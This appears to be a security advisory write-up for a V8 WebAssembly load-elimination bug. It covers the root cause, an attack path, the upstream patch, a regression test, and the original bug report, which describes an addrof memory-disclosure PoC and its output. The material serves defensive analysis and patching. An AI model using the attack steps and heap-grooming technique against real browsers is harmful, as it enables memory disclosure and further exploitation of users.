CVE-2026-7999
Overview
Background
- Turboshaft WebAssembly load elimination
- an optimization pass (
wasm-load-elimination-reducer.h) that caches the results of loads and reuses them for later identical loads instead of re-loading from memory. - `PrepareForGetCodeUnit` / `kStringPrepareForGetCodeunitIndex`
- a “load-like” operation that resolves and caches the pointer to a string’s first character so subsequent
charCodeAt-style code-unit reads can index directly. - In-place string rewriting
- as the commit message states, although string contents are immutable, a
SeqStringcan be rewritten in place into aThinString(forwarding pointer) orExternalString(data moved off-heap), which relocates where the character bytes live. - `mutability` flag in `FindImpl`/`Insert`
- a per-value bit telling load elimination whether a cached value must be invalidated after arbitrary calls (mutable) or may be kept indefinitely (immutable).
Root Cause Analysis
FindLoadLike and InsertLoadLike hardcoded static constexpr bool mutability = false for every load-like value, including the cached first-character pointer produced by PrepareForGetCodeUnit (kStringPrepareForGetCodeunitIndex). Marking that pointer immutable told load elimination it could safely reuse the cached character pointer across intervening calls. But an arbitrary call — for example an imported function that externalizes the string or forces it to become a ThinString — rewrites the string object in place and relocates its character data, so the cached pointer becomes stale. Later code-unit reads then dereference the stale pointer, reading from freed or wrong memory (the regression test interleaves charCodeAt calls with a callIndirect to ext/thin that externalizes/thins the same string, and after tier-up the optimized code must still return the correct bytes).
The fix introduces LoadLikeMutability(offset_sentinel), which returns true for kStringPrepareForGetCodeunitIndex, so that cached pointer is treated as mutable and invalidated at calls, forcing a reload of the first-character pointer after any call that could have rewritten the string.
PrepareForGetCodeUnit as immutable across calls, ignoring that a string’s heap representation (and thus its data location) can be rewritten in place; the fix reclassifies exactly that offset as mutable via LoadLikeMutability so it is invalidated at call boundaries.Attack Path
- Get a WebAssembly function to read string code units
using the
wasm:js-stringcharCodeAtbuiltin, emit code that callsPrepareForGetCodeUnitand caches the first-character pointer. - Interleave an arbitrary call that rewrites the string
between two code-unit reads, call an imported/indirect function that externalizes the string or turns it into a
ThinString, relocating its character data (asext/thindo in the PoC). - Tier up so load elimination applies
%WasmTierUpFunction(optimizing compilation) runs the load-elimination reducer, which reuses the pre-call cached pointer for the post-call code-unit reads because it was marked immutable. - Read through the stale pointer
the optimized code dereferences the now-relocated first-character pointer, producing an out-of-bounds / type-confused read of string data (
(inferred): the diff shows only the mis-classification, not a concrete read/write primitive).
Impact Assessment
(inferred) beyond the stale read the patch implies). The advisory classifies it as inappropriate implementation in V8 and does not state exploited-in-the-wild status. Preconditions are the ability to instantiate a module using the js-string builtins and to trigger optimization/tier-up.Files Changed
src/compiler/turboshaft/wasm-load-elimination-reducer.htest/mjsunit/regress/wasm/regress-493099941.js
Audit Directions
- Cached pointers into relocatable objectsaudit any load-elimination/CSE cache of a raw data pointer (string chars, typed-array backing store, off-heap buffers) marked immutable; confirm it is invalidated whenever the underlying object can be relocated or rewritten.
- In-place object shape transitionsreview optimizations that assume “immutable content ⇒ immutable representation”;
ThinString,ExternalString, and similar in-place rewrites break that assumption at call sites. - Per-offset mutability tablescheck other
offset_sentinel/load-like classifications for entries that should be mutable but default tofalse, especially those reached across arbitrary calls.
Patch
From 45ec8457e14cbdc9a23b118f0ad48f7ac6d9bcff Mon Sep 17 00:00:00 2001 From: Jakob Kummerow <[email protected]> Date: Mon, 23 Mar 2026 13:47:22 +0100 Subject: [PATCH] [wasm][strings] Fix PrepareForGetCodeUnit elimination While strings themselves are immutable, they could be rewritten in-place into ThinStrings or ExternalStrings, so we have to reload the cached pointer to the first character after arbitrary calls. Fixed: 493099941 Change-Id: I454b1378d1157999fd3892dac063f48cb41ce7dd Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7693134 Auto-Submit: Jakob Kummerow <[email protected]> Reviewed-by: Darius Mercadier <[email protected]> Commit-Queue: Darius Mercadier <[email protected]> Cr-Commit-Position: refs/heads/main@{#105986} --- diff --git a/src/compiler/turboshaft/wasm-load-elimination-reducer.h b/src/compiler/turboshaft/wasm-load-elimination-reducer.h index c3d67a4..95f6833 100644 --- a/src/compiler/turboshaft/wasm-load-elimination-reducer.h +++ b/src/compiler/turboshaft/wasm-load-elimination-reducer.h @@ -234,10 +234,17 @@ return all_keys_.find(mem) != all_keys_.end(); } + bool LoadLikeMutability(int offset_sentinel) { + // While strings themselves are immutable, their heap object representation + // could get rewritten into a ThinString or ExternalString, so we need + // to consider them mutable (and invalidate such values at calls). + if (offset_sentinel == kStringPrepareForGetCodeunitIndex) return true; + return false; + } + OpIndex FindLoadLike(OpIndex op_idx, int offset_sentinel) { - static constexpr bool mutability = false; return FindImpl(ResolveBase(op_idx), offset_sentinel, kLoadLikeType, - kLoadLikeSize, mutability); + kLoadLikeSize, LoadLikeMutability(offset_sentinel)); } OpIndex FindImpl(OpIndex object, int offset, wasm::ModuleTypeIndex type_index, @@ -273,9 +280,8 @@ void InsertLoadLike(OpIndex base_idx, int offset_sentinel, OpIndex value_idx) { OpIndex base = ResolveBase(base_idx); - static constexpr bool mutability = false; - Insert(base, offset_sentinel, kLoadLikeType, kLoadLikeSize, mutability, - value_idx); + Insert(base, offset_sentinel, kLoadLikeType, kLoadLikeSize, + LoadLikeMutability(offset_sentinel), value_idx); } #ifdef DEBUG diff --git a/test/mjsunit/regress/wasm/regress-493099941.js b/test/mjsunit/regress/wasm/regress-493099941.js new file mode 100644 index 0000000..88860e4 --- /dev/null +++ b/test/mjsunit/regress/wasm/regress-493099941.js @@ -0,0 +1,78 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax --expose-externalize-string + +d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js"); + +const builder = new WasmModuleBuilder(); + +const sig_i_ri = makeSig([kWasmExternRef, kWasmI32], [kWasmI32]); +const $sig_v_r = builder.addType(kSig_v_r); + +const $ext = builder.addImport("m", "ext", $sig_v_r); +const $thin = builder.addImport("m", "thin", $sig_v_r); +assertEquals(1, $thin); // Reused as index in table below. + +const $charCodeAt = builder.addImport("wasm:js-string", "charCodeAt", sig_i_ri); +const $table0 = builder.addTable(wasmRefNullType($sig_v_r), 2, 2); +builder.addActiveElementSegment( + $table0.index, wasmI32Const(0), + [[kExprRefFunc, $ext], [kExprRefFunc, $thin]], + wasmRefType($sig_v_r)); + +builder.addFunction("test", sig_i_ri).exportFunc().addBody([ + kExprLocalGet, 0, + kExprI32Const, 0, + kExprCallFunction, $charCodeAt, + kExprDrop, + + kExprLocalGet, 0, // string + kExprLocalGet, 1, // function index + kExprCallIndirect, $sig_v_r, $table0.index, + + kExprLocalGet, 0, + kExprI32Const, 0, + kExprCallFunction, $charCodeAt, + + kExprLocalGet, 0, + kExprI32Const, 1, + kExprCallFunction, $charCodeAt, + kExprI32Const, 8, + kExprI32Shl, + kExprI32Ior, + + kExprLocalGet, 0, + kExprI32Const, 2, + kExprCallFunction, $charCodeAt, + kExprI32Const, 16, + kExprI32Shl, + kExprI32Ior, + + kExprLocalGet, 0, + kExprI32Const, 3, + kExprCallFunction, $charCodeAt, + kExprI32Const, 24, + kExprI32Shl, + kExprI32Ior, + ]); + +function thin(s) { const o = {}; o[s]; } +function ext(s) { externalizeString(s); } + +let instance = + builder.instantiate({m: { ext, thin }}, {builtins: ["js-string"]}); + +function f(s, func) { + let clone = String.fromCharCode(...s.split("").map(c => c.charCodeAt(0))); + clone = createExternalizableString(clone); + return instance.exports.test(clone, func).toString(16); +} +const string = "abcdefghijklmnopqrstuvwxyz"; +const expected = "64636261"; // Hex ASCII for "abcd", little endian order. +assertEquals(expected, f(string, $thin)); +assertEquals(expected, f(string, $ext)); +%WasmTierUpFunction(instance.exports.test); +assertEquals(expected, f(string, $thin)); +assertEquals(expected, f(string, $ext));
Regression Test / PoC
diff --git a/test/mjsunit/regress/wasm/regress-493099941.js b/test/mjsunit/regress/wasm/regress-493099941.js
new file mode 100644
index 0000000..88860e4
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-493099941.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --expose-externalize-string
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+const builder = new WasmModuleBuilder();
+
+const sig_i_ri = makeSig([kWasmExternRef, kWasmI32], [kWasmI32]);
+const $sig_v_r = builder.addType(kSig_v_r);
+
+const $ext = builder.addImport("m", "ext", $sig_v_r);
+const $thin = builder.addImport("m", "thin", $sig_v_r);
+assertEquals(1, $thin); // Reused as index in table below.
+
+const $charCodeAt = builder.addImport("wasm:js-string", "charCodeAt", sig_i_ri);
+const $table0 = builder.addTable(wasmRefNullType($sig_v_r), 2, 2);
+builder.addActiveElementSegment(
+ $table0.index, wasmI32Const(0),
+ [[kExprRefFunc, $ext], [kExprRefFunc, $thin]],
+ wasmRefType($sig_v_r));
+
+builder.addFunction("test", sig_i_ri).exportFunc().addBody([
+ kExprLocalGet, 0,
+ kExprI32Const, 0,
+ kExprCallFunction, $charCodeAt,
+ kExprDrop,
+
+ kExprLocalGet, 0, // string
+ kExprLocalGet, 1, // function index
+ kExprCallIndirect, $sig_v_r, $table0.index,
+
+ kExprLocalGet, 0,
+ kExprI32Const, 0,
+ kExprCallFunction, $charCodeAt,
+
+ kExprLocalGet, 0,
+ kExprI32Const, 1,
+ kExprCallFunction, $charCodeAt,
+ kExprI32Const, 8,
+ kExprI32Shl,
+ kExprI32Ior,
+
+ kExprLocalGet, 0,
+ kExprI32Const, 2,
+ kExprCallFunction, $charCodeAt,
+ kExprI32Const, 16,
+ kExprI32Shl,
+ kExprI32Ior,
+
+ kExprLocalGet, 0,
+ kExprI32Const, 3,
+ kExprCallFunction, $charCodeAt,
+ kExprI32Const, 24,
+ kExprI32Shl,
+ kExprI32Ior,
+ ]);
+
+function thin(s) { const o = {}; o[s]; }
+function ext(s) { externalizeString(s); }
+
+let instance =
+ builder.instantiate({m: { ext, thin }}, {builtins: ["js-string"]});
+
+function f(s, func) {
+ let clone = String.fromCharCode(...s.split("").map(c => c.charCodeAt(0)));
+ clone = createExternalizableString(clone);
+ return instance.exports.test(clone, func).toString(16);
+}
+const string = "abcdefghijklmnopqrstuvwxyz";
+const expected = "64636261"; // Hex ASCII for "abcd", little endian order.
+assertEquals(expected, f(string, $thin));
+assertEquals(expected, f(string, $ext));
+%WasmTierUpFunction(instance.exports.test);
+assertEquals(expected, f(string, $thin));
+assertEquals(expected, f(string, $ext));
Original Bug Report
V8 Wasm Turboshaft stale `StringPrepareForGetCodeUnit` reuse across JS import leading to memory disclosure
VULNERABILITY DETAILS
wasm:js-string.charCodeAt lowers through StringAsWtf16 to GetCodeUnitImpl, which calls StringPrepareForGetCodeUnit and then performs a raw immutable load using the prepared (base, base_offset, charwidth_shift) tuple.
Turboshaft Wasm load elimination caches StringPrepareForGetCodeUnit as a load-like entry keyed by the string input. If a JS import executes code that uses the string as a property key, that JS can internalize the string and rewrite it from a sequential string to a thin string. However, the cached preparation survives the call because InvalidateMaybeAliasing() skips load-like entries whose mutability == false:
template <EntriesWithOffsets offsets = EntriesWithOffsets::kInvalidate>
void InvalidateMaybeAliasing() {
for (auto& base_keys : base_keys_) {
OpIndex base = base_keys.first;
if (non_aliasing_objects_.Get(base)) continue;
if constexpr (offsets == EntriesWithOffsets::kInvalidate) {
for (auto it = base_keys.second.with_offsets.begin();
it != base_keys.second.with_offsets.end();) {
Key key = *it;
if (key.data().mem.mutability == false) {
++it;
continue;
}
it = base_keys.second.with_offsets.RemoveAt(it);
Set(key, OpIndex::Invalid());
}
}
}
}
The next charCodeAt therefore reuses a stale sequential-string layout after a call whose JS body can change string representation, and on the tested build it returns non-character data instead of the original string bytes.
On a current V8 development build, this is a stable non-crashing V8-side memory disclosure reachable from Wasm. The attached addrof PoC uses the same stale StringPrepareForGetCodeUnit reuse bug to leak a pointer-derived low32 value from the internalized key string path. The PoC then places nearby heap objects in an attacker-controlled allocation schedule (key, sym, then tmp, with warm-up and GC to stabilize placement), so the leaked key address can be combined with a stable relative delta in this exact schedule to derive the low 32 bits of the tmp object’s address inside the V8 cage. In the reproduced output below, addrof_tmp_tagged=0x10bc2c9 matches the low32 reported by %DebugPrint(tmp).
VERSION
Version tested: current V8 development d8 build from revision 8274e932001c26f5282ec0e26e4dfe1717d32e08 (V8 version 14.8.0 (candidate)).
REPRODUCTION CASE
Attached files:
poc.js
Run d8 poc.js --allow-natives-syntax --expose-gc.
Result:
leaked_key_tagged=0x1093755
leaked_key=0x1093754
tmp_key_delta=0x28b74
addrof_tmp=0x10bc2c8
addrof_tmp_tagged=0x10bc2c9
tmp_debugprint:
DebugPrint: 0x...010bc2c9: [JS_OBJECT_TYPE] in OldSpace
addrof_tmp_tagged matches the low 32 bits of the tagged address printed by %DebugPrint(tmp).
The key side effect that makes the stale preparation invalid is the property-key operation inside this JS import:
ext(s) {
const o = {};
o[s];
}
The import call itself is not the important part; the important part is that the JS body uses s as a property key. In this setup, that property-key processing internalizes the string and rewrites the original sequential string as a thin string. After tier-up, the Wasm code reuses the stale StringPrepareForGetCodeUnit result created for the pre-internalization sequential string, so the later charCodeAt reads from the wrong layout.
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: N/A (non-crashing memory disclosure) Crash State: N/A Client ID (if relevant): N/A
CREDIT INFORMATION
Reporter credit: Taisic Yun (@taisic) of Theori